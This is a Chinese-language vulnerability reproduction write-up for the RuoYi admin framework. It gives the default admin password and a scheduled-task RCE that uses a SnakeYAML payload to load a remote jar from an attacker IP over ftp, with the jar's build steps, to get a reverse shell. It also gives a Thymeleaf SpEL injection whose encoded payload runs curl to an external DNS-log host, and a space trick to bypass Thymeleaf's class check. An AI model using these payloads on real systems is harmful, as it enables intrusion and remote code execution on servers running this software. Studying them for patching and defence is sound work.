Ruoyi若依漏洞复现总结
https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E
官方漏洞历史文档
弱口令 初始密码
admin admin123
CMS 4.6.0 后台RCE
反射+Yaml达到的代码执行
若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段。
查看定时任务的具体代码,定位到
ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java。
假设我们输入com.hhddj1.hhddj2.hhddj3()
经解析后
beanName为com.hhddj1.hhddj2
methodName为hhddj3
methodParams为[]
/**
* 执行方法
*
* @param sysJob 系统任务
*/publicstaticvoidinvokeMethod(SysJob sysJob) throws Exception
{String invokeTarget = sysJob.getInvokeTarget();String beanName =getBeanName(invokeTarget);String methodName =getMethodName(invokeTarget);List<Object[]> methodParams =getMethodParams(invokeTarget);if(!isValidClassName(beanName)){Object bean = SpringUtils.getBean(beanName);invokeMethod(bean, methodName, methodParams);}else{Object bean =Class.forName(beanName).newInstance();invokeMethod(bean, methodName, methodParams);}}
反射Runtime失败
想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec(“”)。
若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。
Object bean =Class.forName(beanName).newInstance();invokeMethod(bean, methodName, methodParams);
然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数
无参
public
而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(“”),会报错。
反射ProcessBuilder失败
同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数,
但是并不代表ProcessBuilder的构造函数是无参的。
因此使用ProcessBuilder的payload也会报错。
ProcessBuilder processBuilder =newProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();
ProcessBuilder的构造函数
publicProcessBuilder(List<String> var1){if(var1 ==null){thrownewNullPointerException();}else{
this.command = var1;}}publicProcessBuilder(String... var1){
this.command =newArrayList(var1.length);String[] var2 = var1;int var3 = var1.length;for(int var4 =0; var4 < var3;++var4){String var5 = var2[var4];
this.command.add(var5);}}
构造Yaml类
想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。
因为根据若依的定时任务代码,需要满足以下条件:
类的构造函数无参且public
调用的方法的参数类型只能是String/int/long/double
该方法具有代码执行的潜力
因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。
所以我们构造了以下payload,使用ftp协议的原因是http被禁用
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://ip/yaml-payload.jar"]
]]
]')
yaml-payload.jar的生成过程:
1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)
2)将IP和端口改成我们对应攻击机上的IP和端口
3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。
javac src/artsploit/AwesomescriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/.E:\hack\exp\yaml-payload-master
λ jar -cvf yaml-payload.jar -C src/.
已添加清单
正在添加: artsploit/(输入 =0)(输出 =0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory - 副本.java(输入 =1589)(输出 =427)(压缩了 73%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 =1535)(输出 =444)(压缩了 71%)
正在忽略条目META-INF/
正在添加:META-INF/services/(输入 =0)(输出 =0)(存储了 0%)
正在添加:META-INF/services/javax.script.ScriptEngineFactory(输入 =36)(输出 =38)(压缩了 -5%)
漏洞利用过程
1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。
2.攻击机:监听2333端口
3.若依管理后台,新建定时任务,目标调用字符串写
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://101.43.159.27/yaml-payload.jar"]
]]
]')
0/10 * * * * ?
4.攻击机上收到反弹shell
结合Thymeleaf注入的代码执行
在代码审计若依的时候,发现了Thymeleaf语法的一些问题
漏洞分析
Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:
http://demo.ruoyi.vip/monitor/cache/getNames
http://demo.ruoyi.vip/monitor/cache/getKeys
通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:
@PostMapping("/getNames")publicStringgetCacheNames(String fragment, ModelMap mmap){
mmap.put("cacheNames", cacheService.getCacheNames());return prefix +"/cache::"+ fragment;}
这四段接口方法中,都使用了thymeleaf的语法:
“/xxx::” + fragment;
我们构造fragment的值为:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d
-->${T(java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}
当我们构造的模板片段被thymeleaf解析时,
thymeleaf会将识别出fragment为SpringEL表达式。
不管是?fragment=header(payload)还是?fragment=payload
但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)“或者"new SomeClass”
这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。
因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。
漏洞利用过程
1.将payload进行HTML编码
${T(java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}
2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求
版权归原作者 amingMM 所有, 如有侵权,请联系我们删除。